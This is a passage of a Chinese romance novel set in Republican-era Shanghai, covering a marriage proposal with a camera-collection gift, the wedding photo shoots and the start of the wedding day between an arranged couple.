她以为她会发火责怪下人,甚至起身离去,毕竟以她的身份不用受这委屈,但是没想到她竟是端起了勺子,径直吃了起来。倒是透着几分爽快。
她想了想既然是凌栖珵的妹妹,她以后可就是长嫂了,怎么也得表示表示。
她推了推自己的蟹粉小笼至中间位置:“不介意的话,一起吃吧。”
凌绘雨顿了顿,又了然一笑,从容地拿起了筷子夹起一只小笼包尝了一口,复又放下筷子道:“你知道我是谁了?”
杭景妍优雅地吹着手中勺子里的馄饨汤,一口一口的小心品尝:“你的行为举止已经告诉我了。”
在一旁的静冉终于听懂了两人的哑谜:“你是凌栖珵的妹妹。”
凌绘雨莞尔一笑,手托着腮,欣然承认。
静冉乐了起来,抓着杭景妍介绍:“这是你哥哥的未婚妻,你知道吧。”
凌绘雨点头:“我知道,只是没想到你还挺大方,挺会做人的。”
既没有介意有人分享本该属于自己的私密空间,也能大方分享自己的食物。一般人就算意识到对方有可能是凌家的亲属,也未必会释放善意。毕竟还没有结婚,对方的亲属跟自己算不算有关系。只是不知道是真的如此,还是表面功夫,但给人感觉如沐春风。
杭景妍垂下眼睫,娇俏的脸上没有丝毫愠色,轻轻搅动碗中汤水,了然一笑,娇笑着岔开了话题:“我在凌伯伯生日会上怎么没见到你,在宴会上有一个,现在又出现一个?”
凌绘雨听她提及另一个人,收起了脸上的笑容,神色变得冷凝起来:“我才是我哥哥一母同胞的亲妹妹,那个贱人生的女儿不配和我们沾亲带故。”
杭景妍从她的话中也听明白,他们是大房的嫡出子女,和二房水火不容。
怪不得那天在宴会上凌栖珵如此纵容她对着二房。
不过这一家出来的,不同的妈也是教出了不同的子女,两房子女在为人处世,性格方面也是大相径庭。
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这位妹妹直来直往的性格她很喜欢。
静冉在一旁道:“哎呀,这是什么缘分,吃了馄饨还能遇到亲戚。”
杭景妍吃完碗中的最后一颗馄饨与静冉打趣调笑:“你早该想到了,毕竟能用这间包厢的人不多,是吧。”
几人在嬉笑中用完午餐,一同走出了店铺。
凌绘雨在临别前有抚摸了一遍‘气球’的头,起身来跟杭景妍告别,“很高兴遇见你,看在我们很投缘的份上告诉你一个消息,我哥哥准备给你一个惊喜,而且已经让母亲准备后续的结婚事宜。”
说完,她潇洒离开。
果然回到家中,见客厅种摆满了各种订礼。
听说凌夫人带着媒婆已经来过了,这些礼物也算是正式下聘吧。
杭景妍也没有多关心这些细节,随意看了看便回了房。
晚上果然接到了凌栖珵打来的电话,约她去光华艺术长廊。
挂了电话后,她带着一丝期待去浴室沐浴梳洗打扮。
艺术长廊,大晚上的能干什么,杭景妍的脑子顿时浮现出了不好的猜想,她甩了甩脑袋,逼自己忘掉昨晚那些旖旎场面。
大晚上的,难道他不该请她吃一顿饭吗?
不管了,如果今晚他在作出什么她可不会顺着他。
傍晚,夕阳的霞光染红了半边的天空,在一层层云朵的晕染下折射出层次感的色彩。路边的灯光在夕阳的对比下黯然失色,像娇羞的姑娘,怯怯透出稀薄的灯光,给路边的挺拔的树干投下形状不一的阴影。
行人走在路上,被衬着半明半昧。
杭景妍坐着凌家司机开的车到达了艺术长廊下。
她抬头看了下夜晚的艺术长廊,在路灯朦胧的灯光下,它像个沉默的巨人,给人古老阴森的压迫感。
凌栖珵的助理林助理已经等在了门口。
杭景妍走上前来,他赶忙上前引路,满脸堆着笑,透着殷勤:“少爷已经等候您多时了,杭小姐,请跟我来。”
杭景妍跟着助理走在此时寂静无人的走廊,尖细的高跟鞋踩在木质地板上发出清脆这声响,她随着她走上楼梯,来到了一扇刻着精致雕花的厚重木门前。
助理停了下来,“少爷就在里面。”他替她推开了厚重的木门。
平时用来展览的厅室被收拾的干干净净,空旷无比,顶上吊着厚重繁复的水晶吊灯,灯光在水晶的折射下散射厅里的每一个角落,暖黄的灯光给人温馨的感觉。
繁复的水晶灯下,摆着一条长形桌子,披着繁复的法国蕾丝桌布,其上的玫瑰百合,在旁蜡烛的映照下,更显摇曳多姿。
男人深邃精致的五官轮廓在烛火暖黄的光影笼罩下,显得清俊矜贵,他身着深蓝色西装外套,扣子一丝不苟扣,带着同色系的细领带,金属袖口在灯光下反射着清冷的光。
杭景妍也没有等他来迎,抬脚往桌子另一边走去。
“没想到,凌少爷那么有雅兴,在这里设宴。”
凌栖珵视线落在她晶莹剔透的脸颊上,眸色沉了沉,他没回答她的话,只是伸手示意他落座。
杭景妍也不矫情,随意地坐下,手肘垫在桌面上,拖着腮,透过摇曳的烛光与他对视。
助理见人来了,拍手示意侍者上菜。
随着声响,身着整洁西服的侍者端着托盘把菜品端上来,又开了一瓶柏图,为两位倒上。
凌栖珵修长的指骨,端起酒杯,对着另一端的打扮精致冷艳的女人举起:“cheer.”
杭景妍也端起了面前的酒杯,晃了晃杯中红酒,让单宁充分挥发,回敬:“cheer.”
气氛在烛光摇曳朦胧中被衬托着和谐,早已经待命的小提琴手拉起了帕格尼尼,为这场烛光晚餐注入最后的浪漫。
杭景妍一边细细品尝着菜品,不时侧耳倾听着优雅的曲子,不知不觉三个小时过去。随着最后一套甜品上来,这顿晚餐也到了尾声。
凌栖珵伸手示意小提琴手停止,悠扬的旋律戛然而止。
杭景妍感觉到今晚的重头戏要来了,听他妹妹说她要给她惊喜,她一下子燃起了小女生般的期待。
虽然从知道自家的财政危机开始她就认命了,就算以后没有梦想,没有自由,也没有感情,为了家族她也只能忍了。也做好了准备去适应在一个新的家族中生存,但是她也还是个小女生,在内心深处还是希望有个人能真的来疼爱自己,喜欢浪漫,喜欢惊喜的。
凌栖珵清冷俊逸的脸上没有多少表情,他从容从位置上站起,并从桌面上拿起一个盒子,朝着她的这个方向走来。
她抬头看着他缓缓靠近,杏眼渐渐睁得圆润,脸上没有表现过多的情绪起伏,但内心此刻已经是惊涛骇浪,带着紧张又夹有期待和兴奋。
凌栖珵走到他的面前凝视着她的眼眸,此刻,这双深黑色的眼眸带着真诚,深情。他缓缓弯曲右腿,单膝下跪,在她面前打开了盒子,一颗艳彩蓝钻在摇曳烛光下散发五彩夺目的光芒。
他嗓音低沉中带着点磁性:“或许,我不是你心目中完美的另一半,但是我愿意努力接近甚至成为你心目中的完美伴侣,在接下来的余生保护你,爱护你,分享你的痛苦与喜乐。景妍你愿意嫁给我吗?”
13. 第 13 章 烛光晚餐
杭景妍视线落在璀璨夺目中的蓝钻上,又从蓝钻移到他俊逸清冷的脸颊上,明灭的烛光使得他的五官轮廓更精致深邃。
她不禁有些感动,无论她是不是家门无奈的选择他,无论他们目前的感情如何,她还是很感激他愿意在这一刻给她每位女子都向往的仪式感。
她抬起莹白纤细的手抹着眼角溢出的泪,微微抬起下巴抑制住不受控制滑出的眼泪,弯起莹润红唇,洋溢着笑容,伸出手:“答应你,以后,你可要记住你说过的话。”
凌栖珵俊逸的脸庞也扬起微笑,他从戒指盒中拿住蓝钻戒指,缓缓套入她莹白纤细的无名指,钻石的光芒在她纤细白皙的手上更显晶莹璀璨,耀眼夺目。
他凝视着她带着戒指的莹白小手,虔诚地牵起,缓缓落下一吻。
在一旁助兴的小提琴手非常应景地拉起了乐曲。
凌栖珵牵着脸蛋上还挂着泪的娇美人起身,邀请她共舞一曲。
杭景妍伸手抹掉了眼泪,牵着男子的手,在烛光摇曳中,在悠扬圆舞曲的熏陶下,欢快的旋转着。
两人体温相贴,甚至可以听到对方的心跳,在如此近距离下,她甚至可以看到男人脸上细微的毛孔。
他的长相无疑是英俊清贵,从侧面看,精致的侧面轮廓也如上帝的一件精雕细琢的雕塑般,完美的让人挑不出一处瑕疵。
能拥有一位帅气多金,又能体贴自己的丈夫是大部分女子的愿望,她相信凌栖珵的身后肯定不乏追求者。
但,她是自卑的,她不认为她能控制得住丈夫,她也不想未来不断斗着那些源源不断的莺莺燕燕。
所以在这样优秀的男人身边是极其的胆战心惊。
可惜,豪门女子,注定为家族牺牲,注定没有梦想,她抗争过了,事实不如她意,天意如此弄人。
她的视线落在男人精致的侧脸上,在心中暗暗道,凌栖珵,希望你老实点,让我安生几年。
随着音乐旋转中,她几不可察地叹息,嫁进复杂的豪门,只能做一个深宅贵妇,更别想抛头露面了,想想自己的摄影师梦想,估计只能是个遥远的梦。
她微不可察的叹息,落进了凌栖珵的耳中,他微弯唇角,这个傻女人在想什么,他也能猜个八九不离十。
一曲终了,凌栖珵拉着她走出了这个展厅,走进了相连的房间。
杭景妍被拉着向前走着,有些懵,刚刚在走神的思维还没有回笼,下意识的问道:“你要带我去哪?”
凌栖珵没有回答她,径直推开了面前的门。
随着门被推开,里面的景色也一览无余,各色各样的相机,比原先在凌家的那个还要大上几倍,可以说这是一个小型的相机博物馆也不为过。
杭景妍巡视着这一个小型的相机博物馆,樱桃小嘴也忍不住大张,随后意识到了自己的失态,她立马调整了自己的状态,免得她没见过世面似的。
压抑住内心的惊涛骇浪,她面上不动声色道:“带我来这里的意思是?”
凌栖珵望着这些他收集了十几年的作品,回答道:“这是送你的求婚礼物,从今天起,它是你的了。我说过,你可以继续你的摄影师梦想。”
杭景妍有些微的意外,这简直像是幸运之神的眷顾。她走到一面展柜前摸着其中一台相机,“这真的送给我了。”
凌栖珵答道:“当然。”
杭景妍抱着相机,狐疑地打量着他:“为什么?”
“因为,能成为一位成功的摄影师,也是我曾经的梦想,想用镜头的语言去讲述自己看过的世界,可惜,世家大族的人要承担太多的使命与责任。”
“所以,你去替我完成它吧,能有个拥有共同爱好的妻子,我很高兴。”
杭景妍微笑:“metoo。”
她第一次感受到了商业联姻,成为豪门贵妇的好处。也第一次认识到了他和别的世家公子的不同,虽然有一点毒舌,但是他让她感受到尊重,也用实际行动证明了,婚姻不会是她的掣肘,未来的她,不用拘泥于深宅大院失去自我,日渐凋零。仍然可以让她自由翱翔。
这倒是让她好奇,未来的婚姻里会发生什么:“凌先生,余生还请你多指教。”
凌栖珵弯了弯唇,伸出手牵起她的手,十指紧握,拉着她走出了这间房间。
回到原来的厅内,他又从助理的手中拿过一份文件,交给了杭景妍。
“这是送你的。”
杭景妍带着狐疑接过文件,他能给她送上自己收藏多年的相机已经出乎她的预料,还有什么要送给她的?
翻开文件,这是一份赠予协议,一切过户的手续都准备好了,只等她签上名字,她所在的这个艺术画廊就归她了。
这份礼物真的出乎她的意料,实在是太贵重了,她并不认为她值得这个分量。
杭景妍没有签字,她合上了文件推回去:“太贵重了,不能收。”
凌栖珵没想到她会拒绝。
既然送上门好处不要那就随她吧。
“那改天送你个不贵重的。”他收起文件,随手递给了一旁的助理。
眼见他把文件收了起来,杭景妍又有点后悔,不过转念一想这玩意交给她也不懂怎么运营还是算了吧。
有那一整面墙的相机她已经很满足了。
用完餐的两人一同走出了艺术长廊,杭景妍沉浸在一顿饭可以收到大钻戒和心爱相机中,浑然不觉在某个黑暗的角落闪起的相机。
此时在黑暗的角落里,两个小报记者,已经拍下两人多达上百张的照片,牵起手亲吻的,相拥起舞的,举杯共饮的,两人手牵手在寂静的夜晚走过铺满焦黄落叶的院子离去的。
任谁看了都会说上一句金童玉女。
眼见两主角离场,两记者终于放下了相机。
记者A:“终于完成了今天凌少爷交代的任务,明天把这些照片发上去,又是头版头条。”
记者b收起了相机,拉起记者a,从黑暗的角落中出来:“浪漫晚餐结束了,也到我们去解决晚餐了。”
a也收起了相机,随着b离开了院子。
车内,杭景妍一直看着她的十二克拉蓝钻戒指,熠熠生辉的钻石让她心情愉悦。
她抬起手借着车外不断闪过的路灯,欣赏着。钻石在路灯熹微光线映照下,折射出七彩光芒,落入她的眸中,为她晶莹剔透的眼眸增添了一抹亮色,在光影模糊的车厢内多处一抹风景。
她不断变换角度,让钻石光芒不住地晃动。
她上过化学课,知道钻石是由碳原子排列组合而成,与石墨成分一样,只是排列组合方式不同。
那时她就在想,同样的成分只是组合形式不同就产生了不同的结果,钻石变得莹白坚硬更稀缺更
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具有价值,而石墨软而常见,更普通廉价。像同父母所生却有着不同命运的好兄弟,一个天上,一个地下。
而女人总是对亮晶晶的东西没有任何抵抗力,钻石的光芒真的是太吸引人了。
何况这还是更稀缺的蓝色钻石,它是在地底深处经历过多少亿年的淬炼,又经历了匠人多少个日夜打磨才能拥有如此光辉呈现在她的面前。
她想着想着,摸到了放在手边的相机,顺手拿起想给自己的美钻来几张特写纪念,拿起相机就是一顿拍。
一边的凌栖珵在一旁静静地看着这一幕,唇角不自觉地勾起了一抹笑容,包含着淡淡的宠溺。
杭景妍拍了几张照片后,相机出了问题,她鼓捣了几遍也没用,嘟起了小嘴抱怨:“我还以为是什么好东西呢,原来也是个次级品。”
凌栖珵的眼光落在她脸上,觉得她生气嘟着唇瓣鼓起两颊像一只气鼓鼓的河豚鼓起身体保护自己的样子。他哑然失笑伸出手过去,抓住她的手教她如何调整镜头,“这里,还有这里。”
骨节分明的手掌覆着她的小手,让杭景妍有瞬间的恍惚,他的手很温暖,手指修长,指甲修剪得干净整齐,温度透过他的手掌源源不断的传给她。
因为帮她调整相机,两人的距离很近,他温暖的气息漂浮在她耳边,带起她耳边一阵痒意,她耳边肌肤不争气的红了一大片。
让她想起了那个旖旎的夜晚,也是像这一样。
她强装镇定,转头与他对视。
她很好奇他到底有多少面?
都说他手段凌厉果决,但是此刻温柔的一面是他面对女人的伎俩吗?他到底有过多少女人?
按道理说,她只不过是个合适的联姻对象罢了,没必要对自己那么好。又是为她挡棍子,又是大张旗鼓的求婚仪式又是送收藏多年的相机。
凌栖珵抬眸与她对视,看她又走神了,提醒她注意他的动作:“看着我怎么操作的,就你这三脚猫水准还想当摄影师,好好学习。”
他的毒舌把杭景妍的胡思乱想拉了回来,她甚至觉得的温柔那是她的错觉,这一定是这个万恶的男人的手段,一会阴一会阳,让女人欲罢不能。
她一定不能上他的当。
她杭景妍不是一般女人,想用这招数玩她,她可不是一点礼物就能收买的。
失了身不能失了心。
“就你这毒舌样子,真是想不通为什么还会有那么多女人喜欢你。”
凌栖珵察觉她话语中隐隐约约带着探究。
小女人吃醋的模样有点可爱,让他生出了逗弄她的兴味。
他点头同意了她的观点,模棱两可,又顺着她的话道:“其实,我也想不通,这个你就得亲自去问问她们了,毕竟我也是很烦恼那些女人。”
杭景妍瘪了瘪嘴,暗暗在心里翻了数个白眼。
简直没有见过比他更臭美的了。
但,回想过来这算是间接告诉他,他没有跟其他女人有乱七八糟的关系?
在一片胡思乱想中,汽车已经驶到了杭府门口,停下来。
杭景妍打住了胡思乱想,宽慰自己,未来的事情也不是自己能掌控的,兵来将挡水来土掩。
她与车里的男人挥了挥手作别,打开车门离去。
车里,凌栖珵目送着她的身影蹦蹦跳跳的走进大门,直至消失不见。
14. 第 14 章
杭府,正堂大厅
杭老爷和夫人正坐在偏厅里,见女儿从外面回来,让下人把她叫到了客厅来。
杭景妍奔奔跳跳走了进来,心情甚好,“爸妈,我回来了,这么晚把我叫来还有什么事?”
杭夫人拿着手上的单子清点完聘礼,又拿出另一张单子,单子上是算命先生根据女儿和未来女婿的生辰八字算出的婚礼大吉之日。
她告知女儿:“算命先生通过给你两的八字给出了婚礼的大吉之日,是下个月十八。”
杭景妍点头表示同意笑道:“女儿全听你们安排。”
杭夫人欣慰的笑了,她起身坐到了女儿身边,抚摸着她的头发,眼神慈祥,“该我们办的都办完了,剩下你们小年轻要是对婚礼有什么想法,要去拍婚纱照之类的你们商量着办。
杭景妍听母亲提醒才想起了婚纱照之类的事情。
她想,凌栖珵应该认识比较著名的摄影师吧,到时候看看他能不能请一位来帮忙拍照。
她应声道:“恩,到时候我和凌栖珵商量决定。”
隔天,凌家大公子浪漫求婚仪式,铺满了沪上所有报纸的头版头条。
像是对之前记者对两家关系下一步走向猜测的郑重回应。
也给予杭家该有的地位和尊重。
一时之前,众名媛议论纷纷,无不羡慕。
言道:“就算是杭家用尽各种手段攀上凌家,最终也是得偿所愿,毕竟有哪个女子不期待一个浪漫的求婚仪式呢。”
而听到求婚钻戒是十克拉蓝钻,还加光大艺术长廊,杭景妍还不要这个艺术长廊,那些小门小户的女子更是嫉妒的发疯。
纷纷感慨同人不同命。
有些吃不到葡萄说葡萄酸的,只能恶狠狠诅咒,商业联姻没有好下场。这不过是做给别人看罢了,迟早得离。
一时间,众说纷纭。
过了几天,放学后,上海有名的中式制衣店‘羽裳’的裁缝便已经在府上等待了。
他要给杭景妍制作的是中式嫁衣,用于男方接亲出门时。
裁缝恭敬地打了招呼,便开始为杭景妍量身形,随后又拿出了图样给她选择,她翻了翻图册最后选了明朝皇后翟衣,用上好的绸缎并在上绣上凤凰,搭配凤冠。
像公主出嫁一样。
而西式婚纱用于酒店婚礼之上。
西式婚纱,请的是从法国来的设计裁缝,法国裁缝给了设计图样给杭景妍,她跟设计师谈了自己的想法,最终敲定下婚纱的样式。用法夫绸搭配沉沉叠叠的蕾丝边,衣领设计成船型领,小露香肩,其后带着大大六米长拖尾,拖尾和裙摆上要绣上珍珠点缀。
法国裁缝是为美丽的夫人,为杭景妍量身时啧啧称赞她的身材体态纤秾合度,是个标准的衣架子。
法国裁缝说着不标准的中文道:“我就知道,轰动沪上的求婚典礼,名媛们纷纷羡慕的女主角是一个美人。我真的开始期待,美丽的婚纱被制作出来穿在你身上的样子了。”
杭景妍笑了笑,脑海中也开始想象自己穿上婚纱到底是个什么样子:“我也很期待。不过什么轰动沪上?”
法国裁缝神秘微笑,拿出之前的报纸递给她:“我的公主,你还不知道你已经成为沪上名媛羡慕的对象?”
杭景妍看到报纸上的,凌栖珵单膝下跪为他套上戒指的画面。清丽的脸庞带着动容。
她知道他的举动是为了洗清之前舆论对她的非议。
婚纱在三周后制作完成,送到了府上。
杭景妍也和凌栖珵约好了时间去拍婚纱照。
凌栖珵请到了他的好友,林氏的董事,林家二公子也是著名的摄影大家来帮他拍照。
周末,两人终于空出了时间,杭景妍约了静冉带着丫鬟绮绿携带定制的婚纱坐上黄包车一同前往光大艺术长廊。
艺术长廊室内有充足的器材,也有足够的空间可以搭室内布景。
长廊院子中,银杏金黄的叶子层层叠叠,飘洒满院,带着深秋的浪漫,是比较良好的取景地。
杭景妍他们三人先进了长廊里。
绮绿进到房间先把装衣服的箱子放进了更衣室。
因为先拍室内照,杭景妍也去了更衣室换衣服去了。
先拍中式古典装,所以她换上了一声大红嫁衣,坐在了镜子前,绮绿帮她戴上了点翠凤冠。
镜中映照她头戴着蓝色的凤冠的容颜,典雅雍容。
绮绿忍不住称赞道:“小姐穿上这衣物真的像古代宫里的娘年似的,漂亮的不得了。”
杭景妍也笑了笑,看着镜子中的自己,有些走神。
听说这凤冠是拔了翠鸟的羽毛一片片粘成的,杭景妍当时听着觉得有些残忍。
幸好清朝灭亡后也很少有人做这类首饰了。
故而点翠头饰极其珍贵,她头上这个还是家里从出宫的老太监手里高价收来的。
等着之前凌栖珵他们带来的化妆师帮她化好妆,绮绿帮忙在身后给她提着裙子,两人小心翼翼的走出了更衣室。
因为是先拍室内照,不需要伴郎伴娘上镜,静冉就没有化伴娘妆,仍然穿着自己的衣服陪着她走在身后。
杭景妍迈着小碎步走出来,凌栖珵已经换好了衣服端坐在相机前。
只见他身穿明制的红色大褂,头戴黑色的管帽,五官在帽子的衬托下,更是显得深邃立体带着清冷矜贵的气质,微微上翘的桃花眼在这官服的压制下,也透着隐隐的沉郁和距离感。
凌栖珵在低声跟着身边来当伴郎的好朋友交谈着,不经意的眨眼,看见他的未婚妻,身着大红色明制汉服,头戴靛蓝的凤冠,一步步向他走来。
凤冠上的步摇随着走动轻微摇晃,环佩叮当声响起,汉服外套拖着长长的拖尾,上面用金线绣着凤凰,又披上蓝色的披帛,那一瞬间仿佛回到明代,端庄秀丽的皇后向他走来。
不经意的抬眼,两人的视线交汇,女子经过精心描绘的杏眼流转间带着潋滟,凌栖珵不禁想起了初次见到那张相片中那双眼睛,眼波流转间潋滟又带着忧愁,让人不经意间沉沦。
杭景妍走到了男人身边,提起裙摆小心坐到了他身边,又细细打量起身边的未婚夫:“我没想到我的相公打扮起来是如此的俊美。”说着,学起了戏文中纨绔公子的形象,用食指轻佻的抬起男人的下颌。
身后的静冉和赵北辰被她的行为逗乐,忍不住扑哧笑了出来。
赵北辰忍俊不禁:“没想到嫂子是个有趣的人儿。”
凌栖珵面上不动声色,眼神中却含着狡黠,他知道小妻子的戏精成分又发作了,他的手抓住了她的手指,裹在自己的手掌中,无情地拆她的台“恭喜娘子,终于治好了眼疾。”
见过自恋的,没见过那么自恋的。
杭景妍默默地在心里给了他一个白眼。
凌栖珵紧了紧手掌心中的小手,声音沉了沉:“坐好,别闹。”
相机背后的摄影师见两人都已经就位,出声指挥:“两位坐好,开始拍照了。”
杭景妍和凌栖珵两人纷纷坐直,随着摄影师的口令:“1,2,3,”
咔嚓。
标志他们成为夫妻,记录他们人生开启新的旅途的照片就此诞生。
这是一张相对严肃的照片两人穿着明代帝后的服饰,端正地坐着,感觉像古代帝后大婚朝服像。
第二张,凌栖珵被要求站在身后,像一个忠诚的卫士般守卫者心中的公主,杭景妍身着华贵的嫁衣,像个尊贵的公主,终于等来了心爱的郎君,
拍完第二张休息的间隙,杭景妍难受地扭了扭头,抬头对身边的男人撒娇:“这头冠真重。”
凌栖珵低垂眼帘,正准备开口之际,远方咔嚓一声,摄影师抓拍了这一幕。
还没反应过来的两人,被相机定格的声音惊到了。
他满意道:“这行情脉脉的对视,拍下来一定是最吸引人,最有故事性的一张。”
凌栖珵无奈笑道:“老张,你还是老样子。”
古代明制的这一套拍完,两人换了一套旗袍西服的现代装扮,场景也从室内移到了室外。
造型师给杭景妍梳了个时下贵太太们比较流行的大波浪头,侧边簪朵小花。
她给自己挑选了了套嫩黄色旗袍,搭配长款珍珠串耳坠,再披上流苏披肩,一步一摇,举手投足间尽是风情。
她的这幅打扮终于与凌栖珵想象中的她合为一体,正如他见到她的那张照片,妩媚风情中带着历经故事的苍凉。
现在他才知道,她的外表是多么具有欺骗性。
他的小妻子给人的感觉可以是文静的,妩媚的,风情的。但,走近了看,又是倔强的,固执的,古灵精怪的。柔软的。
凌栖珵的视线锁定在杭景妍身上,没有半份移动,她被看得心脏打起了小鼓,一跳一跳,伸出一只纤细莹白的小手在他眼前晃了晃。
“傻了?”
凌栖珵回过神来,清了清嗓子,缓解下尴尬:“你的容貌,极其具有欺骗性。”
“那么,你被骗了吗?”
“你说呢?小骗子。”
“哈哈哈。”杭景妍开怀大笑,“大笨蛋。”
凌栖珵嘴角噙着一抹笑容:“我有没有跟你说过,嘲笑男人,后果很严重。”
他捏住女人莹白的下巴,薄唇附上,吸允啃咬,带着强烈的攻势,趁着女人不备,探入她的口腔,追逐她的小舌,极致纠缠。
纷纷扬扬的银杏叶飘落,落在凌栖珵的肩上,平白为这一幕拥吻增添了浪漫。
一旁的摄影师极快地定格住了这纷纷扬扬的银杏树下的拥吻镜头,谱写一张金黄色下的浪漫拥吻。
但是当事人之一可能觉得并不浪漫,她张口一咬,男人痛嘶一声。
凌栖珵放开了她,伸手摸了下嘴角,殷红的鲜血染上手指,他眉眼微挑:“属狗的。”
杭景妍倨傲地抬着下巴,双手环抱胸口:“没人能逼我做不想做的事情。”
两人眼神无声地对视着。
摄影师在一旁喊道,“刚刚那张我可拍下来了,挺不错的。”
凌栖珵挑了挑眉,满意道:“老张干得不错。”
杭景妍暗暗翻个白眼:“阴险的狗男人,就会算计她。”
几人又辗转到下一个景区。
豫园
新郎新娘两人按照摄影师的安排,描述这一个故事。
杭景妍被安排站在湖边,仿佛忧愁的少女,满怀心事面对湖面,而凌栖珵站在湖边隐秘的小道中,暗暗地观察,等待,像这个忧愁少女不为人知的骑士,在默默守护着她,感受着她的悲哀,却不敢靠近。
第二张,少女转过了头,发现了那个默默守护的男人,两人遥遥相望,少女严重带着惊喜,像一束光芒闪过她的眼,少年带着深情。
咔嚓一声。
完成动作。
杭景妍提起了裙摆直接坐在了湖边护栏上。
“真累,这结婚简直就是折腾人的活动嘛。”
杭景妍抱怨着又扭头哀怨着与摄影师说:“还有什么,都招呼上来吧。”
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凌栖珵知道她累了,走到她身边,安慰:“再忍忍,还有几张就结束了,等下请你去吃大餐。”
听到有吃的,杭景妍又打起了精神。
摄影师提议新郎新娘和伴娘伴郎一起拍一张大合照。
在一旁等了许久的伴郎与伴娘终于有了用武之地。
新郎伴郎新娘伴娘整齐站成了一排。
摄影师指挥着动作,“新郎新娘向前弯腰,头靠在一起,然后伴郎伴娘带着羡慕的表情笑着。”
杭景妍和凌栖珵按照摄影师的指挥做动作,向前弯曲。
两人身体随着前倾而靠近,互相对视一眼,摄影师准备按下快门时,杭景妍扑哧一声笑了出来。
凌栖珵有点莫名其妙,问道:“怎么了。”
杭景妍说道:“我想到之前你跟我打的赌,有点好笑。”
凌栖珵也回想起来,“是挺好笑的。”
杭景妍赞叹道:“都是造化弄人。”
“造化并不弄人,相机就在这,我让你输的心服口服。”
“看镜头。”
杭景妍转头看镜头。
咔嚓一声,大合照结束。
大家都一哄而散。
凌栖珵走到相机前,单手架在相机上,对着已经没气一般坐在一旁的小女人:“我们分别给对方拍一组照片,然后匿名寄给杂志社,谁能选上,谁赢,如何?”
杭景妍一听,觉得非常有意思,答应下来。
她去把身上繁复的婚纱换下来,穿上了紧身旗袍,旗袍开叉在大腿处,一步一摇,细嫩白皙大腿若影若现,勾魂摄魄,像一只暗夜行走的妖精。
在场众人,路过的行人纷纷侧目。
在相机之后的凌栖珵眼眸及不可查的沉了沉。
这女人太明白自己的优势,轻而易举的就搅乱人的心弦。
此时的他真想不拍了,只想把他的小妻子藏起来,不被别人窥探这份美好。他知道这是男人的劣根性,但是他没办法控制自己的想法。
杭景妍哪里知道男人的想法,自顾自摆起了pose,并得意的给凌栖珵抛了个媚眼。
一举一动都是在说,老娘漂亮吗?
凌栖珵指挥着她按照自己的指令做动作:“背靠在墙上,头往我这边看。”
杭景妍一一按照指挥做动作,等照了几张以后,她才回过神来。
这是他在跟自己比赛,还是拿自己的肖像照去比,现在她那么配合他不是等着他赢吗?
思及此,她开始各种搞小动作。
你叫我往西边,我偏偏往东边。
最后干脆撂挑子不干了。
“凌栖珵,你还真是算盘打得精,都打到你老婆头上了,用我的相片去赢我,还想我配合你?”
“那就不拍了,反正已经拍到了。”凌栖珵放弃了拍摄,带着纵容。
其实,就算她不说,他也不会把这组相片公开发表,刚刚说过的话,他很快就后悔了。
这是独属于他的美丽,他自私的不想跟任何人分享。
但,他不想说出口。
“这样吧,很公平的机会,我配合你拍一组。”
杭景妍没说同意也没说不同意,默默走去了相机架前。
正当凌栖珵暗自得意,准备摆pose时,杭景妍把镜头一转,对着一旁的赵北辰:“喂,兄弟,摆个姿势,开心点。”
一旁等着看好戏的赵北辰突然被点名,他看了看兴致高涨的新娘子,在看一看一边的新郎。
凌栖珵现在的脸色黑到不能再黑了。
赵北辰缩了缩脖子,他不敢公然在太岁爷上动土,惹火了他可吃不了兜着走。
他连忙摆手拒绝:“别,你们夫妻两的事,别扯上我,我可还想在多火几年。”
杭景妍假装没看见凌栖珵那黑得跟锅底灰似的脸,继续火上浇油:“哎呀,你怕他干什么,我觉得他外形比不过你,我决定拿你去参赛,我的作品我做主。”
赵北辰他感觉到一道锐利的视线落在自己身上,如果眼神能杀人,估计他已经死了好几回了。
他继续拒绝:“别,我长得丑得很,你丈夫那才是一表人才,玉树临风。”
“要是没有什么事,我就先走了,剩下你们夫妻两的事,你们自己解决。”
赵北辰麻溜的收拾好东西,在凌栖珵阴沉犀利的视线下,快速的跑到相机前,把摄像头转过凌栖珵所站方位,然后脚底抹油,一溜烟逃离现场。
杭景妍和静冉在一旁愣了一下,随后笑了起来。
杭景妍摊了摊手,表示无趣。
“真不好玩。”
“下次再找个帅哥来拍。”
说完,她看了一眼丈夫乌云密布的脸,故作不知:“亲爱的,你吃醋啦。”
虽然知道她是故意的,她的性格如此,但是他就是容不下她的眼里有别的男人。
凌栖珵只感觉到气血沸腾,心跳加快,平时他自诩冷静,但每一次,这个女人都能挑动他的情绪。
他走到她的身边,一言不发的拉过她的手,离开。
杭景妍被拉着手,踉踉跄跄的跟在身后,手被他宽厚有力的大手握着,掌心温润。
她试图挣扎,没挣开。
“你要带我去哪?”
凌栖珵没回答,沉默的拉着她离开了拍摄现场。
衣服也没换,径直把她塞进了车里。
静冉在一旁看着两人离去,叹了口气。
“这两人,真是前世的冤家,没一刻消停。
15. 第 15 章
终于到了婚礼的这一天。
秋天的天气,透着清凉,杭府院中的树叶,已经变黄,只待风吹,便纷纷扬扬落地。
杭景妍在早晨五点时分起床。
一番洗漱后,她坐在镜子前,等待化妆师梳妆。
化妆师等一众人早已经在前一天来到杭府,凌晨便起床准备,只等正主就位。
丫鬟绮绿打开门,让早已经等候多时的化妆师,造型师进屋。
几位关系好的同学也早早到来。
她们将要在婚礼中担任女傧相。
造型师化妆师的助手们一并负责她们的妆造。
杭景妍换上了历经一个月手工缝制的凤袍,在造型师的帮助下盘好了头发,戴上了点翠凤冠。
化妆师也在一旁小心地为她一层层抹上脂粉。
因女傧相的妆造较为简单,她们几位已经做好了造型,在一旁聊着天,讨论着。
“景妍,你这套凤袍真是巧夺天工,美轮美奂,上个月结婚的黄家小姐那套耗费上万的凤袍也比不过你这套。
另一个女傧相道:“我记得她当时还号称是全上海最奢华的凤袍,我看这回她要让出位置了。
奉承的语言总是令人欢喜,杭景妍内心也是高兴大家对于她品味的认可。但面上并没表现出来。
她略带谦虚:“我也是懒得和这些人比,只是婚礼只有一次,当然要用最好的,不留遗憾才是。”
“那是当然。”
一个小时后,阳光初照大地时,新娘子终于完成了新婚妆造。
在众人的搀扶下,端坐大床中,等待新郎的造访。
屋外阵阵乐声想起,新郎的车队在奏乐中来到了杭府大门前。
新郎凌栖珵在几位好友的簇拥下来到了闺房门前。
而几位女傧相也做好了准备要把男方捉弄一方。
她们紧闭房门,躲在门后。
偷偷商量着要多少红包。
其中一位女傧相轻手轻脚不让门外的人听到声音,悄悄把新娘子的婚鞋藏起来,不让新郎带走新娘。
